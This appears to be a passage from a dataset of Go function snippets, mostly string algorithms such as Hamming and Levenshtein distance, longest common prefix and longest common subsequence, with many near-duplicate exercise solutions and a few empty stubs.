1\n\t\t\t}\n\t\t\tcolumn[y] = utils.Min(\n\t\t\t\tutils.Min(column[y]+1, // insert\n\t\t\t\t\tcolumn[y-1]+1), // delete\n\t\t\t\tlastkey+i) // substitution\n\t\t\tlastkey = oldkey\n\t\t}\n\t}\n\n\treturn column[runeStr1len]\n}", "func shortestSubstringContainingRunes(s, chars string) string {\n\tif len(s) == 0 || len(chars) == 0 {\n\t\treturn \"\"\n\t}\n\n\t// Create a histogram of runes and initialize it with s.\n\ta := []rune(s)\n\th := newRuneHistogram([]rune(chars), a)\n\tif !h.isValid() {\n\t\treturn \"\" // there is no solution\n\t}\n\n\t// Find the index of the last rune in the string which we cannot remove from\n\t// the histogram without making it invalid.\n\tlast := len(a) - 1\n\tfor ; last >= 0; last-- {\n\t\th.removeRune(a[last])\n\t\tif !h.isValid() {\n\t\t\th.addRune(a[last]) // put back to restore validity\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// For each index in the string starting at 0, remove the corresponding rune\n\t// from the histogram, then add runes beyond LAST as long as the histogram\n\t// is invalid. If the new span is shorter than the old one, remember it.\n\tbest := Range{0, last}\n\tfor i, r := range a {\n\t\th.removeRune(r)\n\t\tfor !h.isValid() && last < len(a)-1 {\n\t\t\tlast++\n\t\t\th.addRune(a[last])\n\t\t}\n\t\tif !h.isValid() {\n\t\t\tbreak\n\t\t}\n\t\tspan := Range{first: i + 1, last: last} // N.B. we removed a[i]\n\t\tif span.length() < best.length() {\n\t\t\tbest = span\n\t\t}\n\t}\n\n\t// Extract and return the substring corresponding to the best span, or an\n\t// empty string if the spam is empty.\n\treturn s[best.first : best.last+1]\n}", "func commonPrefix(s, t string) string {\n\tfor i, r := range s {\n\t\tif i >= len(t) {\n\t\t\treturn s[:i]\n\t\t}\n\t\tr2, _ := utf8.DecodeRuneInString(t[i:])\n\t\tif r2 != r {\n\t\t\treturn s[:i]\n\t\t}\n\t}\n\treturn s\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"Strings are not the same length\")\n\t}\n\tdiffCount := 0\n\tfor i := range a {\n\t\tif string([]rune(a)[i]) != string([]rune(b)[i]) {\n\t\t\tdiffCount++\n\t\t}\n\t}\n\treturn diffCount, nil\n}", "func LongestCommonPrefix(strs []string) string {\n\tstrLen := len(strs)\n\tif strLen == 0 {\n\t\treturn \"\"\n\t}\n\tprefix := strs[0]\n\tfor i := 1; i < strLen; i += 1 {\n\t\ts := strs[i]\n\t\tfor !(len(s) >= len(prefix) && s[0:len(prefix)] == prefix) {\n\t\t\tprefix = prefix[:len(prefix)-1]\n\t\t}\n\t\tif prefix == \"\" {\n\t\t\treturn \"\"\n\t\t}\n\n\t}\n\n\treturn prefix\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"strings must have the same length\")\n\t}\n\n\tdistance := 0\n\ti := 0\n\tfor _, c := range a {\n\t\tif []rune(b)[i] != c {\n\t\t\tdistance++\n\t\t}\n\t\ti++\n\t}\n\n\treturn distance, nil\n}", "func longestCommonPrefix(strs []string) string {\n\tres := make([]byte, 0)\n\tif len(strs) < 2 {\n\t\treturn strs[0]\n\t}\n\t//find the first two common prefix\n\tfor i, j := 0, 0; i < len(strs[0]) && j < len(strs[1]) && strs[0][i] == strs[1][j]; i, j = i+1, j+1 {\n\t\tres = append(res, strs[0][i])\n\t}\n\tif len(res) == 0 {\n\t\treturn \"\"\n\t}\n\tfor i := 2; i < len(strs); i++ {\n\t\tj := 0\n\t\tfor ; j < len(res) && j < len(strs[i]) && strs[i][j] == res[j]; j++ {\n\t\t}\n\t\tif j == 0 {\n\t\t\treturn \"\"\n\t\t}\n\t\tres = res[:j]\n\t}\n\treturn string(res)\n}", "func longestCommonPrefixHS(ss []string) string {\n\tif len(ss) == 0 {\n\t\treturn \"\"\n\t}\n\n\t// This optimization looks over-engineering.\n\tminLen := len(ss[0])\n\tfor _, s := range ss[1:] {\n\t\tif len(s) < minLen {\n\t\t\tminLen = len(s)\n\t\t}\n\t}\n\n\tans := ss[0]\n\tfor _, s := range ss[1:] {\n\t\ti := 0\n\t\tfor i < minLen && i < len(ans) {\n\t\t\tif s[i] != ans[i] {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ti++\n\t\t}\n\t\tans = ans[:i]\n\t}\n\n\treturn ans\n}", "func SubstrKDistinct(s string, k int) string {\n s = strings.Trim(s, \" \")\n if k <= 0 || len(s) == 0 {\n return \"\"\n }\n if (k > len(s)) {\n return s\n }\n var dict [256]int\n for idx := range dict {\n dict[idx] = 0\n }\n dict[s[0]] = 1\n hasChar := 1\n start, cur, length := 0, 1, len(s)\n var res string = string(s[0])\n\n // eecedddddehbdbdbdbdbdbdbdbdbdbdggddfgtt\n for ;cur < length; cur++ {\n ch := s[cur]\n // fmt.Println(string(ch),dict[ch], res, cur, \"-\", string(ch), hasChar, dict[int('a'):int('z')])\n\n // old method\n //if dict[ch] > 0 {\n // dict[ch]++\n // continue\n //}\n //if hasChar < k {\n // dict[ch] = 1\n // hasChar++\n // continue\n //}\n\n if dict[ch] == 0 {\n hasChar++\n }\n dict[ch]++\n // if update result\n if cur-start > len(res) {\n res = s[start:cur]\n }\n\n for hasChar > k {\n dict[s[start]]--\n if dict[s[start]] == 0 {\n hasChar--\n }\n start++\n }\n }\n if cur-start > len(res) {\n res = s[start:cur]\n }\n return res\n}", "func Distance(a, b string) (int, error) {\n\truneA := []rune(a)\n\truneB := []rune(b)\n\n\tif len(runeA) != len(runeB) {\n\t\treturn 0, errors.New(\"left and right strands must be of equal length\")\n\t}\n\n\tdiffCounter := 0\n\tfor i := 0; i < len(runeA); i++ {\n\t\tif runeA[i] != runeB[i] {\n\t\t\tdiffCounter++\n\t\t}\n\t}\n\n\treturn diffCounter, nil\n}", "func (c *Core) GetChars() (charLeft string, charRight string) {\n\treturn \"\", \"\"\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0,\n\t\t\terrors.New(\"Strings are not the same lenght\")\n\t}\n\n\treturn len(filter(zip([]rune(a), []rune(b)),\n\t\t\titemsAreDifferent)),\n\t\tnil\n}", "func CommonOverlapLength(b1, b2 []byte) int {\n\t// eliminate the null case.\n\tif len(b1) == 0 || len(b2) == 0 {\n\t\treturn 0\n\t}\n\t// truncate the longer string.\n\tvar tLen int\n\tif len(b1) > len(b2) {\n\t\tb1 = b1[len(b1)-len(b2):]\n\t\ttLen = len(b2)\n\t} else if len(b1) < len(b2) {\n\t\tb2 = b2[0:len(b1)]\n\t\ttLen = len(b1)\n\t} else {\n\t\ttLen = len(b1)\n\t}\n\t// quick check for the wort case.\n\tif bytes.Equal(b1, b2) {\n\t\treturn tLen\n\t}\n\t// start by looking for a single character match and increase length until no match is found. Performance analysis: http:// neil.fraser.name/news/2010/11/04/\n\tbest := 0\n\tlength := 1\n\tfor {\n\t\tpattern := b1[tLen-length:]\n\t\tfound := bytes.Index(b2, pattern)\n\t\tif found == -1 {\n\t\t\treturn best\n\t\t}\n\t\tlength += found\n\t\tif found == 0 || bytes.Equal(b1[tLen-length:], b2[0:length]) {\n\t\t\tbest = length\n\t\t\tlength++\n\t\t}\n\t}\n}", "func CommonStrings(s1, s2 []string) []string {\n\n\tvar common []string\n\tfor _, v := range s1 {\n\t\tif ContainsString(s2, v) {\n\t\t\tcommon = append(common, v)\n\t\t}\n\t}\n\n\treturn common\n\n}", "func Distance(a, b string) (int, error) {\n\tacc := 0\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"The string length should be the same\")\n\t}\n\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tacc++\n\t\t}\n\t}\n\treturn acc, nil\n}", "func removeChars(s, chars string) string {\n\tfor _, c := range strings.Split(chars, \"\") {\n\t\ts = strings.Replace(s, c, \"\", -1)\n\t}\n\n\treturn s\n}", "func SameCharacter(s1, s2 string) bool {\n\tvar counts [256]int\n\tfor _, c := range s1 {\n\t\tcounts[c]++\n\t}\n\tfor _, c := range s2 {\n\t\tcounts[c]--\n\t}\n\tfor _, count := range counts {\n\t\tif count != 0 {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, ErrUnequalLenths\n\t}\n\tif a == \"\" && b == \"\" {\n\t\treturn 0, nil\n\n\t}\n\n\tif len(a) == len(b) {\n\t\tvar differentWord int\n\t\tfor i := 0; i < len(a); i++ {\n\t\t\tif a[i] != b[i] {\n\t\t\t\tdifferentWord++\n\t\t\t}\n\t\t}\n\t\treturn differentWord, nil\n\t}\n\treturn 0, nil\n}", "func Distance(a, b string) (int, error) {\n\n\tif len(a) != len(b) {\n\t\treturn -1, fmt.Errorf(\"Unequal string lengths!\")\n\t}\n\n\tmutations := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tmutations += 1\n\t\t}\n\t}\n\n\treturn mutations, nil\n}", "func Chars(str string, fs ...Substring) string {\n\tchars := text.SplitString(str)\n\n\tlength := len(chars)\n\n\tvar builder strings.Builder\n\n\tfor index, char := range chars {\n\t\tstr := char.String()\n\n\t\tfor _, f := range fs {\n\t\t\tstr = f(length, index, str)\n\t\t}\n\n\t\tbuilder.WriteString(str)\n\t}\n\n\treturn builder.String()\n}", "func longestCommonSubsequence(text1 string, text2 string) int {\n\tif len(text1) == 0 || len(text2) == 0 {\n\t\treturn 0\n\t}\n\tm, n := len(text1), len(text2)\n\tdp := make([][]int, m+1)\n\tfor i := 0; i < m+1; i++ {\n\t\tdp[i] = make([]int, n+1)\n\t}\n\tfor i := 1; i < m+1; i++ {\n\t\tfor j := 1; j < n+1; j++ {\n\t\t\tif text1[i-1] == text2[j-1] {\n\t\t\t\tdp[i][j] = 1 + dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = utils.Max(dp[i-1][j], dp[i][j-1])\n\t\t\t}\n\t\t}\n\t}\n\treturn dp[m][n]\n}", "func CommonStrings(xs []string, ys []string) []string {\n\tss := make([]string, 0, len(xs))\n\tcache := make(map[string]bool)\n\tfor _, x := range xs {\n\t\tcache[x] = true\n\t}\n\tfor _, y := range ys {\n\t\tif _, ok := cache[y]; ok {\n\t\t\tss = append(ss, y)\n\t\t}\n\t}\n\treturn ss\n}", "func longestCommonSubsequence(text1 string, text2 string) int {\n\tres := make([][]int, len(text1)+1)\n\tfor i:=0;i<=len(text1);i++{\n\t\tres[i] = make([]int, len(text2)+1)\n\t\tfor j:=0; j<=len(text2);j++{\n\t\t\tres[i][j] = 0\n\t\t}\n\t}\n\tfor i:=1;i<len(res);i++{\n\t\tfor j:=1; j<len(res[0]);j++{\n\t\t\tif text1[i-1] == text2[j-1]{\n\t\t\t\tres[i][j] = res[i-1][j-1]+1\n\t\t\t}else{\n\t\t\t\tres[i][j] = max2(res[i-1][j],res[i][j-1])\n\t\t\t}\n\t\t}\n\t}\n\treturn res[len(text1)][len(text2)]\n}", "func countCharsSlow(s string, want int) int {\n\tchars := strings.Split(s, \"\")\n\n\tfor _, c := range chars {\n\t\tif count := strings.Count(s, c); count == want {\n\t\t\treturn 1\n\t\t}\n\t}\n\n\treturn 0\n}", "func findLongestSubstringNoDuplicates(input string) string {\n\tcharacters := []byte(input)\n\tvar finalSubstring []byte\n\tvar currentSubstring []byte\n\n\tfor _, character := range characters {\n\t\tif isCharInSlice(currentSubstring, character) == false {\n\t\t\tcurrentSubstring = append(currentSubstring, character)\n\t\t\tif len(currentSubstring) > len(finalSubstring) {\n\t\t\t\tfmt.Println(\"currentSubstring: \", string(currentSubstring))\n\t\t\t\tfmt.Println(\"finalSubstring: \", string(finalSubstring))\n\t\t\t\tfinalSubstring = currentSubstring\n\t\t\t}\n\t\t} else {\n\t\t\t// is there a nicer way to do this?\n\t\t\tcurrentSubstring = nil\n\t\t\tcurrentSubstring = append(currentSubstring, character)\n\t\t}\n\t}\n\treturn string(finalSubstring)\n}", "func longestCommonPrefix(strs []string) string {\n\tif strs==nil ||len(strs)==0{\n\t\treturn \"\"\n\t}\n\tif len(strs)==1 {\n\t\treturn strs[0]\n\t}\n\tfirst := strs[0]\n\treturn longest(first,strs[1:])\n\n}", "func Distance(a, b string) (int, error) {\n\n\t// if strings are empty or of different lengths, return error\n\tif (len(a) != len(b)) {\n\t\treturn -1, fmt.Errorf(\"Expected arguments of equal length but got len(a) '%v' and len(b) '%v'\", len(a), len(b))\n\t}\n\n\tdist := 0\n\n\t// for bonus points, we'll cast both strings to rune arrays\n\tfor i, e := range ([]rune(a)) {\n\t\tif (e != ([]rune(b))[i]) {\n\t\t\tdist++\n\t\t}\n\t}\n\n\t// go there\n\treturn dist, nil\n}", "func Distance(a, b string) (int, error) {\n\t// default distance to 0\n\tdistance := 0\n\t// default err as an error type set to nil\n\tvar err error = nil\n\n\t// convert to runes so that utf8 characters can be compared.\n\trunesA := []rune(a)\n\trunesB := []rune(b)\n\tfmt.Println(runesA, runesB)\n\t// if lengths dont match throw an error.\n\tif len(runesA) != len(runesB) {\n\t\terr = fmt.Errorf(\"Distance(%q, %q), string lengths are not equal so this is not a valid input for this function\", a, b)\n\t} else if a != b {\n\t\t// loop over the runes in runesA and compare the same index in runesB\n\t\t// if it does not match increment distance\n\t\tfor index, runeValueA := range runesA {\n\t\t\tif runeValueA != runesB[index] {\n\t\t\t\tdistance++\n\t\t\t}\n\t\t}\n\t}\n\n\treturn distance, err\n}", "func Stripchars(str, chars string) string {\n\treturn strings.Map(func(r rune) rune {\n\t\tif strings.IndexRune(chars, r) < 0 {\n\t\t\treturn r\n\t\t}\n\t\treturn -1\n\t}, str)\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, fmt.Errorf(\"strings have different length\")\n\t}\n\n\tdiff := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tdiff++\n\t\t}\n\t}\n\treturn diff, nil\n}", "func Distance(a, b string) (int, error) {\n if len(a) != len(b) {\n return 0, errors.New(\"Input string have different lengths.\")\n }\n var distance int\n for index, char := range a {\n if string(char) != string(b[index]){\n distance += 1\n }\n }\n return distance, nil\n}", "func EqualFoldWithoutChars(s1, s2 string) bool {\n\treturn strings.EqualFold(RemoveSymbols(s1), RemoveSymbols(s2))\n}", "func uncommonFromSentences(A string, B string) []string {\n \n}", "func Distance(a, b string) (int, error) {\n\tfailcount := 0\n\tif len(a) != len(b) {\n\t\treturn -1, fmt.Errorf(\"strings are not the same length\\n\")\n\t}\n\n\tfor count := 0; count < len(a); count++ {\n\t\tif a[count] != b[count] {\n\t\t\tfailcount++\n\t\t}\n\t}\n\n\treturn failcount, nil\n}", "func Distance(a, b string) (int, error) {\n\n\t// checking if lengths of the two strings are the same\n\tif len(a) == len(b) {\n\t\terrorCount := 0\n\n\t\t// iterating through the first string\n\t\tfor index := range a {\n\n\t\t\t// if character in the first string is not equal to the second string at the same location increase\n\t\t\t// the errorCount by one\n\t\t\tif a[index] != b[index] {\n\t\t\t\terrorCount += 1\n\t\t\t}\n\n\t\t}\n\t\treturn errorCount, nil\n\t}\n\n\treturn 0, errors.New(\"incompatible lengths\")\n\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, ErrStrLenNotEqual\n\t}\n\n\tvar cnt int\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tcnt++\n\t\t}\n\t}\n\treturn cnt, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"strings are unequal\")\n\t}\n\n\tla := len(a)\n\tdist := 0\n\tfor i := 0; i < la; i++ {\n\t\tif a[i] != b[i] {\n\t\t\tdist++\n\t\t}\n\t}\n\n\treturn dist, nil\n}", "func Distinct(s string) string {\n\tvar ascii [256]bool\n\tvar nonascii map[rune]bool\n\treturn strings.Map(func(r rune) rune {\n\t\tif r < 0x80 {\n\t\t\tb := byte(r)\n\t\t\tif ascii[b] {\n\t\t\t\treturn -1\n\t\t\t}\n\t\t\tascii[b] = true\n\t\t} else {\n\t\t\tif nonascii == nil {\n\t\t\t\tnonascii = make(map[rune]bool)\n\t\t\t}\n\t\t\tif nonascii[r] {\n\t\t\t\treturn -1\n\t\t\t}\n\t\t\tnonascii[r] = true\n\t\t}\n\t\treturn r\n\t}, s)\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"shit's on fire yo (and the strings should be the same length)\")\n\t}\n\n\tctr := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tctr++\n\t\t}\n\t}\n\treturn ctr, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"Error: nucleotide strings must be of equal length\")\n\t}\n\n\tvar d int\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\td++\n\t\t}\n\t}\n\n\treturn d, nil\n\n}", "func combine(str1, str2 string) string {\n\tvar res string\n\tlen1 := len(str1)\n\tlen2 := len(str2)\n\t//mark the number of same chars\n\tvar sameNum int = 0\n\tfor len1 > 0 && sameNum < len2 {\n\t\tif str1[len1-1] == str2[sameNum] {\n\t\t\tlen1--\n\t\t\tsameNum++\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\t//combine str1 and str2\n\tres = str1[0:len1] + str2[sameNum:len2]\n\treturn res\n\n}", "func commonPrefix(a, b string) string {\n\ti := 0\n\tfor i < len(a) && i < len(b) && a[i] == b[i] && (a[i] <= ' ' || a[i] == '*') {\n\t\ti++\n\t}\n\treturn a[0:i]\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\terr := errors.New(\"Strings must be of the same length to calculate distance\")\n\t\treturn 0, err\n\t}\n\n\tcount := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}", "func findSamePartFromTwoString(first string, second string, sameMinLen int) []string {\n\tif len(first) == 0 || len(second) == 0 {\n\t\treturn nil\n\t}\n\tfirstParts := strings.Split(first, \"\")\n\tfirstLen := len(firstParts)\n\tvar commParts []string\n\tstartIndex := 0\n\tcommStr := \"\"\n\tcommStartIndex := -1\n\tsubLen := sameMinLen\n\tfor startIndex <= firstLen-sameMinLen {\n\t\tsub := strings.Join(firstParts[startIndex:startIndex+subLen], \"\")\n\t\tif strings.Contains(second, sub) {\n\t\t\tcommStr = sub\n\t\t\tif commStartIndex == -1 {\n\t\t\t\tcommStartIndex = startIndex\n\t\t\t}\n\t\t\tsubLen++\n\t\t} else {\n\t\t\tif commStartIndex != -1 {\n\t\t\t\tcommStr = strings.TrimSpace(commStr)\n\t\t\t\tif len(strings.Split(commStr, \"\")) >= sameMinLen {\n\t\t\t\t\tcommParts = append(commParts, commStr)\n\t\t\t\t}\n\t\t\t\tcommStr = \"\"\n\t\t\t\tcommStartIndex = -1\n\t\t\t\tstartIndex += subLen - 1\n\t\t\t\tsubLen = sameMinLen\n\t\t\t} else {\n\t\t\t\tstartIndex++\n\t\t\t}\n\n\t\t}\n\t\tif startIndex+subLen > firstLen {\n\t\t\tif commStartIndex != -1 {\n\t\t\t\tcommStr = strings.TrimSpace(commStr)\n\t\t\t\tif len(strings.Split(commStr, \"\")) >= sameMinLen {\n\t\t\t\t\tcommParts = append(commParts, commStr)\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t}\n\n\treturn commParts\n}", "func Distance(a, b string) (int, error) {\n\n\tif len([]rune(a)) != len([]rune(b)) {\n\t\treturn 0, fmt.Errorf(\"%s and %s are of different length\", a, b)\n\t}\n\n\thammingDistance := 0\n\tfor i := 0; i < len([]rune(a)); i++ {\n\t\tif []rune(a)[i] != []rune(b)[i] {\n\t\t\thammingDistance++\n\t\t}\n\t}\n\treturn hammingDistance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, fmt.Errorf(\"Two strings of unequal length\")\n\t}\n\tdistance := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tdistance += 1\n\t\t}\n\t}\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"strings must be of equal length\")\n\t}\n\n\tcount := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tcount++\n\t\t}\n\t}\n\treturn count, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"strands need to be of equal length\")\n\t}\n\n\tdistance := 0\n\tfor i := range []rune(a) {\n\t\tif a[i] != b[i] {\n\t\t\tdistance++\n\t\t}\n\t}\n\n\treturn distance, nil\n}", "func main() {\n\tfmt.Println(containCharsEqual(\"haha\", \"ahaq\"))\n}", "func Distance(a, b string) (int, error) {\n\tif (len(a) != len(b)) {\n\t\treturn 0, errors.New(\"Different lengths\")\n\t}\n\tdistance := 0\n\tfor i, letter := range a {\n\t\tif (letter != rune(b[i])) {\n\t\t\tdistance++\n\t\t}\n\t}\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n\tcounter := 0\n\tar, br := []rune(a), []rune(b)\n\tif len(ar) != len(br) {\n\t\treturn 0, errors.New(\"The length of the strands are different\")\n\t}\n\tfor i := range ar {\n\t\tif ar[i] != br[i] {\n\t\t\tcounter++\n\t\t}\n\t}\n\treturn counter, nil\n}", "func levenshtein(a string, b string) int {\n\n\t// Handle empty string cases\n\tif len(a) == 0 {\n\t\treturn len(b)\n\t}\n\tif len(b) == 0 {\n\t\treturn len(a)\n\t}\n\n\t// DP matrix\n\tmat := make([][]int, len(a))\n\tfor i := range mat {\n\t\tmat[i] = make([]int, len(b))\n\t}\n\n\t// Initialize base cases\n\tfor i := 0; i < len(a); i++ {\n\t\tmat[i][0] = i\n\t}\n\tfor i := 0; i < len(b); i++ {\n\t\tmat[0][i] = i\n\t}\n\n\t// Fill out optimal edit distance matrix\n\tfor i := 1; i < len(a); i++ {\n\t\tfor j := 1; j < len(b); j++ {\n\t\t\tcost := 0\n\t\t\tif a[i] != b[j] {\n\t\t\t\tcost = 1\n\t\t\t}\n\n\t\t\t// Compute cheapest way of getting to this index\n\t\t\tabove := mat[i-1][j] + 1\n\t\t\tleft := mat[i][j-1] + 1\n\t\t\tdiag := mat[i-1][j-1] + cost\n\n\t\t\t// Sort and take idx 0 to get minimum\n\t\t\tarr := []int{above, left, diag}\n\t\t\tsort.Ints(arr)\n\t\t\tmin := arr[0]\n\t\t\tmat[i][j] = min\n\t\t}\n\t}\n\treturn mat[len(a)-1][len(b)-1]\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"both strands should be of the same size\")\n\t}\n\n\tcount := 0\n\taRunes := []rune(a)\n\tbRunes := []rune(b)\n\n\tfor index, aRuneValue := range aRunes {\n\t\tbRuneValue := bRunes[index]\n\t\taWidth := utf8.RuneLen(aRuneValue)\n\t\tbWidth := utf8.RuneLen(bRuneValue)\n\n\t\tif aRuneValue != bRuneValue || aWidth != bWidth {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}", "func Distance(a, b string) (int, error) {\n if len(a) != len(b) {\n \treturn 0, errors.New(\"both strings do not have the same length\")\n }\n\n\tdistance := 0\n\n for i := 0; i < len(a); i++ {\n \tif a[i:i + 1] != b[i:i + 1] {\n \t\tdistance += 1\n \t}\n }\n\n return distance, nil\n}", "func Distance(a, b string) (d int, err error) {\n\tif len(a) != len(b) {\n\t\treturn d, fmt.Errorf(\"strings are not equal length: %d != %d\", len(a), len(b))\n\t}\n\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\td++\n\t\t}\n\t}\n\n\treturn d, nil\n}", "func OSADamerauLevenshteinDistance(str1, str2 string) int {\n\t// Convert string parameters to rune arrays to be compatible with non-ASCII\n\truneStr1 := []rune(str1)\n\truneStr2 := []rune(str2)\n\n\t// Get and store length of these strings\n\truneStr1len := len(runeStr1)\n\truneStr2len := len(runeStr2)\n\tif runeStr1len == 0 {\n\t\treturn runeStr2len\n\t} else if runeStr2len == 0 {\n\t\treturn runeStr1len\n\t} else if utils.Equal(runeStr1, runeStr2) {\n\t\treturn 0\n\t} else if runeStr1len < runeStr2len {\n\t\treturn OSADamerauLevenshteinDistance(str2, str1)\n\t}\n\n\t// 2D Array\n\trow := utils.Min(runeStr1len+1, 3)\n\tmatrix := make([][]int, row)\n\tfor i := 0; i < row; i++ {\n\t\tmatrix[i] = make([]int, runeStr2len+1)\n\t\tmatrix[i][0] = i\n\t}\n\n\tfor j := 0; j <= runeStr2len; j++ {\n\t\tmatrix[0][j] = j\n\t}\n\n\tvar count int\n\tfor i := 1; i <= runeStr1len; i++ {\n\t\tmatrix[i%3][0] = i\n\t\tfor j := 1; j <= runeStr2len; j++ {\n\t\t\tif runeStr1[i-1] == runeStr2[j-1] {\n\t\t\t\tcount = 0\n\t\t\t} else {\n\t\t\t\tcount = 1\n\t\t\t}\n\n\t\t\tmatrix[i%3][j] = utils.Min(utils.Min(matrix[(i-1)%3][j]+1, matrix[i%3][j-1]+1),\n\t\t\t\tmatrix[(i-1)%3][j-1]+count) // insertion, deletion, substitution\n\t\t\tif i > 1 && j > 1 && runeStr1[i-1] == runeStr2[j-2] && runeStr1[i-2] == runeStr2[j-1] {\n\t\t\t\tmatrix[i%3][j] = utils.Min(matrix[i%3][j], matrix[(i-2)%3][j-2]+1) // translation\n\t\t\t}\n\t\t}\n\t}\n\treturn matrix[runeStr1len%3][runeStr2len]\n}", "func minDistance(word1 string, word2 string) int {\n return 0\n}", "func countCharsFast(s string, want int) int {\n\tfor _, c := range s {\n\t\tif count := strings.Count(s, string(c)); count == want {\n\t\t\treturn 1\n\t\t}\n\t}\n\n\treturn 0\n}", "func LongestCommonSubLen(A string, B string) int {\n\tLCS := make([][]int, len(A)+1)\n\tfor x := 0; x <= len(A); x++ {\n\t\tLCS[x] = make([]int, len(B)+1)\n\t}\n\tx, y := 0, 0\n\tfor ; x <= len(A); x++ {\n\t\tfor y = 0; y <= len(B); y++ {\n\t\t\tif (x == 0 || y == 0) {\n\t\t\t\tLCS[x][y] = 0\n\t\t\t} else if A[x-1] == B[y-1] {\n\t\t\t\tLCS[x][y] = LCS[x-1][y-1] + 1\n\t\t\t} else {\n\t\t\t\tLCS[x][y] = Max(LCS[x-1][y], LCS[x][y-1])\n\t\t\t}\n\t\t}\n\t}\n\tfmt.Println(reverseString(LongestCommonSeq(LCS, A, B)))\n\treturn LCS[len(A)][len(B)]\n}", "func TestLongestCommonSubsequence(t *testing.T) {\n\tassert.Equal(t,\n\t\t3,\n\t\tDP2.LongestCommonSubsequence(\"dynamic\", \"programming\", 6, 10))\n}", "func Distance(a, b string) (int, error) {\n\tvar firstStringLength = len(a)\n\tvar secondStringLength = len(b)\n\n\tif firstStringLength != secondStringLength {\n\t\treturn 0, errors.New(\"string length are not equal\")\n\t}\n\n\tvar incorrectGenes = 0\n\tfor i := 0; i < firstStringLength; i++ {\n\t\tif a[i] != b[i] {\n\t\t\tincorrectGenes++\n\t\t}\n\t}\n\treturn incorrectGenes, nil\n}", "func LongestCommonSubsequence(text1 string, text2 string) int {\n\tif len(text1) < len(text2) {\n\t\treturn LongestCommonSubsequence(text2, text1)\n\t}\n\n\tn, m := len(text1)+1, len(text2)+1\n\tdp := make([][]int, m)\n\tfor i := 0; i < m; i++ {\n\t\tdp[i] = make([]int, n)\n\t}\n\n\tfor i := 1; i < m; i++ {\n\t\tfor j := 1; j < n; j++ {\n\t\t\tif text2[i-1] == text1[j-1] {\n\t\t\t\tdp[i][j] = 1 + dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = max([]int{dp[i-1][j], dp[i][j-1]})\n\t\t\t}\n\t\t}\n\t}\n\treturn dp[m-1][n-1]\n}", "func LcSubstr(strings []string) string {\n\treturn \"\"\n}", "func LevenshteinDistance(first, second string) int {\n\ts1len := len(first)\n\ts2len := len(second)\n\n\tcolumn := make([]int, len(first)+1)\n\tfor y := 1; y <= s1len; y++ {\n\t\tcolumn[y] = y\n\t}\n\tfor x := 1; x <= s2len; x++ {\n\t\tcolumn[0] = x\n\t\tlastkey := x - 1\n\t\tfor y := 1; y <= s1len; y++ {\n\t\t\toldkey := column[y]\n\t\t\tvar incr int\n\t\t\tif first[y-1] != second[x-1] {\n\t\t\t\tincr = 1\n\t\t\t}\n\n\t\t\tcolumn[y] = minimum(column[y]+1, column[y-1]+1, lastkey+incr)\n\t\t\tlastkey = oldkey\n\t\t}\n\t}\n\treturn column[s1len]\n}", "func CalcLevenshteinDist(firstWord string, secondWord string, display bool) int {\n\ta := []rune(\" \" + firstWord)\n\tb := []rune(\" \" + secondWord)\n\ttable := tableSetUp(len(a), len(b))\n\tfor r := 1; r < len(a); r++ {\n\t\tfor c := 1; c < len(b); c++ {\n\t\t\t//find local minimum\n\t\t\tupperLeft := (*table)[r-1][c-1]\n\t\t\tabove := (*table)[r-1][c]\n\t\t\tleft := (*table)[r][c-1]\n\t\t\tmin := customMin(upperLeft, above, left)\n\n\t\t\tif a[r] == b[c] {\n\t\t\t\t(*table)[r][c] = min\n\t\t\t} else {\n\t\t\t\t(*table)[r][c] = min + 1\n\t\t\t}\n\t\t}\n\t}\n\tif display {\n\t\tdisplayDynamicTable(table, a, b)\n\t}\n\n\treturn (*table)[len(a) - 1][len(b) - 1]\n}", "func 